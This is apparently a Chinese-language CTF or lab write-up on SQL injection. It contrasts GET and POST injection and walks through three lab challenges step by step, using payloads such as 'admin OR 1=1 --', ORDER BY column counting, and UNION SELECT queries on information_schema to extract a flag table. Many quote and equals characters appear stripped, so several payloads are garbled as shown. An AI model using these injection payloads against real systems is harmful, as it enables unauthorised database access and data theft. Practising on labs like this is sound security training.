)
sql注入-POST类型注入首先我们需要简单了解一下POST类型和GET类型的区别对比维度GET型注入POST型注入数据位置贴在URL地址栏后面问号后面藏在网页内部数据包的肚子里肉眼可见能地址栏全看得见不能普通用户看不到浏览器缓存会被浏览器记录历史容易留痕不会被记录在地址栏历史里传播方式可以直接复制链接发给别人诱导点击必须构造一个伪造的表单或页面来提交长度限制一般有长度限制浏览器和服务器限制理论上可以传很大传文件、长文章在构造语句上也有些许差别区别维度GET型注入地址栏POST型注入表单体特殊字符编码地址栏不支持回车、空格和#井号。注入时必须把空格变成或%20#要编码成%23否则浏览器会截断后面的内容。直接写原始字符即可。比如 OR 11 --直接填在表单框里不用考虑编码转换。语句长度限制受限严重。浏览器和服务器对URL长度有限制IE约2083字节。如果你想用UNION SELECT拖取大量数据长语句可能在地址栏塞不下。几乎无限制。适合提交超长的注入语句或者把完整的一段复杂脚本塞在备注框里。后台拼接场景通常对应WHERE条件查询条件。比如?id1注入时主要围绕闭合单引号和括号来构造。通常对应INSERT或UPDATE写入数据。比如注册用户名、修改密码。这时候注入不仅要闭合引号还得考虑字段数量和闭合整条SQL语句的结尾构造起来稍微复杂一点。这里我们简单举两个例子GET型写法地址栏输入http://test.com/page?id1%27%20OR%20%271%27%271实际上等同于1 OR 11但空格必须换成%20单引号要编码POST型写法在登录框用户名处输入直接填admin OR 11 --虽然sqlmap等自动化工具工具会自动处理这些格式你感觉不到区别但是有些时候这类自动化工具会被禁用所以你最好掌握手工注入。回到正题这题既然是POST注入且是查询用户名所以我们直接构建admin OR 11 --好的数据库被爆了出来然后从这个查询结果我们可以得知有ID姓名邮箱....共7个库接下来我们使用一下联合语句select * from name where UNION SELECT 1,user(),database(),version(),5,6,7 --其中user()是为了获取当前数据库的登录账号database()返回当前数据库version()获取数据库的版本号请不要怀疑10.11.11-MariaDB就是它的完整版本号功能上等同于 MySQL 5.7 / 8.0 系列以及邮箱的数据库名就是sql_injection_lab既然已经知道数据库的名称了接下来就是查询一下这个库的里面的表的名字构建语句select * from name where UNION SELECT 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema sql_injection_lab -- 然后我们发现姓名里有个叫flag的table所以我们在继续查下这列select * from name where 1 UNION SELECT 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name flag -- 这里可以看到是flag表里面有个flag列接下来我们查下flag的值然后拿下select * from name where 1 UNION SELECT 1,flag,3,4,5,6,7 FROM flag-- sql注入-POST类型注入-2依旧是POST型注入所以我们还是先使用admin OR 11 --看看怎么个事结果是什么也没查询到那我们换双引号试试这次有报错信息证明是双引号闭合接下来我们查询一下列数admin order by 7#admin order by 8#报错证明只有7列接下来使用union select 去寻找注入回显点admin union select 1,2,3,4,5,6,7#然后我们爆一下库名admin union select 1,database(),3,4,5,6,7#然后是表名admin union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schemasql_injection_lab#有个名为flag的表名所以我们继续爆列名admin union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_nameflag#最后获取获取 flag 表 flag 字段内容admin union select 1,flag,3,4,5,6,7 from flag#报错注入-sql注入-数字型这关是GET型注入且还额外提供了查询语句然后我们直接构建语句1 and 11 和 1 and 12好上述两个语句返回的结果不一致证明存在SQL数字型注入然后我们用order by 判断列数我们先构建语句 1 order by 4,没报错然后我们尝试8报错了于是我们依次尝试5到7发现到6的时候报错了所以此处有5列然后我们使用database()函数来查询数据库名1 union select 1,2,database(),4,5得到数据库名后我们爆表名1 union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata注这一步是利用information_schema.schemata表获取所有数据库名其中group_concat是为了将多个数据库名称合并显示方便查看。然后我们找一下包含flag的数据库1 union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schemasql_injection_lab --好的这个表刚好有flag所以我们继续爆flag的列名1 union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schemasql_injection_lab and table_name flag -- -接下来我们直接查询flag的值1 union select 1,2,flag,4,5 from sql_injection_lab.flag